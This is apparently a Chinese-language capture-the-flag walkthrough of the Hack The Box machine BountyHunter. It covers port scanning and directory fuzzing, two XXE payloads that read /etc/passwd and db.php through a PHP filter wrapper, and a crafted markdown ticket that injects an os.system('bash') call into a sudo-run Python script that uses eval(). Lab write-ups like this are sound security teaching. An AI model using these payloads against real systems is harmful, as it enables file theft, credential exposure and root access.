HTB-BountyHunter

OS Difficulty
Linux Easy

Nmap Scan

$ nmap 10.10.11.100 -sV -sC  -p- -T4 --min-rate 1000 -e tun0 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 09:08 CST
Nmap scan report for 10.10.11.100
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.59 seconds

开放了2个端口22(SSH)和80(HTTP),对80进行Fuzz

Fuzzing

找到/index.php、 /portal.php、 /db.php

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.100/FUZZ.php  -t 100 -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.100/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
index                   [Status: 200, Size: 25169, Words: 10028, Lines: 389, Duration: 3174ms]
portal                  [Status: 200, Size: 125, Words: 11, Lines: 6, Duration: 204ms]
db                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 105ms]

漏洞利用

访问/portal.php 跳转到表单页面

使用burp进行抓包,对数据包进行base64解码,发现是XML

尝试进行XXE攻击,找到两个帐号:development和root

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
<bugreport>
		<title>&example;</title>
		<cwe>111</cwe>
		<cvss>3.0</cvss>
		<reward>20</reward>
</bugreport>

使用PHP Wrapper 读取db.php文件

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY example SYSTEM php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
		<title>&example;</title>
		<cwe>111</cwe>
		<cvss>3.0</cvss>
		<reward>20</reward>
</bugreport>

解码base64,找到数据库密码,使用development登录SSH

权限提升

使用sudo -l找个一个可利用的Python文件

分析Python脚本

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):   // md 文档第1行需要包含
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):  //md 文档第2行需要包含,注意有个空格
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"): //md 文档第3行需要包含
            code_line = i+1
            continue

        if code_line and i == code_line:  //md 文档第4行需要包含
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]  //匹配**开头,并且根据+分割,取第一项
            if int(ticketCode) % 7 == 4:  //取出的值模7 等于4 如4,11,18
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

分析Python脚本后,创建一个md文件,使用sudo 运行脚本,提权成功

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**11+eval("__import__('os').system('bash')")
Flag Path
Flag1 /home/development/user.txt
Flag2 /root/root.txt